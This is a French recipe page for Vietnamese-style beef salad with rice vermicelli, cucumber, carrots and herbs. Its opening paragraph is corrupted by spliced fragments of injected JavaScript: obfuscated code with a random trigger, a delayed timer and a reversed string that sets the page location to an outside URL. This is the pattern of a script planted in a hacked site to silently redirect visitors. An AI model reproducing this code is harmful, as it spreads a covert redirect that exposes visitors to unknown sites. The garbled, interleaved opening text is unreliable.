Bœuf à la vietnamienne
2017-12-26Faites cuire les vermicelles de riz en respectant la cuisson et le temps indiqué sur le paquet. Coupez la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de bœuf en lamelles. Pelez, coupez en fin bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets le concombre. Pelez, coupez en juliennes les petites carottes.
Ingrédients
- Pour 4 personnes
- 1 paquet de vermicelles de riz
- 4 bavettes d'aloyau
- 1/2 concombre
- 2 petites carottes
- 1 bocal de germe de soja
- 1 gousse d'ail
- 1 jus de citron
- 3 feuilles de menthe ciselées
- 3 brins de coriandre fraîche ciselés
- 2 cuillères à soupe de cacahuètes non salées
- 1 cuillère à café d'huile d'arachide
- 1 cuillère à soupe de Nuoc-mâm
- 8 cuillères à soupe de sauce pour nems
- Poivre
Préparation de la recette
Etape 1
Faites cuire les vermicelles de riz en respectant la cuisson et le temps indiqué sur le paquet. Coupez la viande de bœuf en lamelles.
Etape 2
Pelez, coupez en fin bâtonnets le concombre. Pelez, coupez en juliennes les petites carottes.
Etape 3
Égouttez et rincez les germes de soja. Pelez, coupez en deux l'ail. Ôtez le germe et l'écraser. Concassez les cacahuètes.
Etape 4
Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu vif. Faites revenir les bavettes pendant 3 minutes.
Etape 5
Dans un récipient mélangez les vermicelles de riz, les germes de soja, les carottes, les concombres et la viande.
Etape 6
Ajoutez le jus de citron, la gousse d'ail dans la sauce pour nems.
Etape 7
Versez sur la préparation et mélangez délicatement. Répartir les Ingrédients dans des petits bols, parsemez des herbes et des cacahuètes. Servez.
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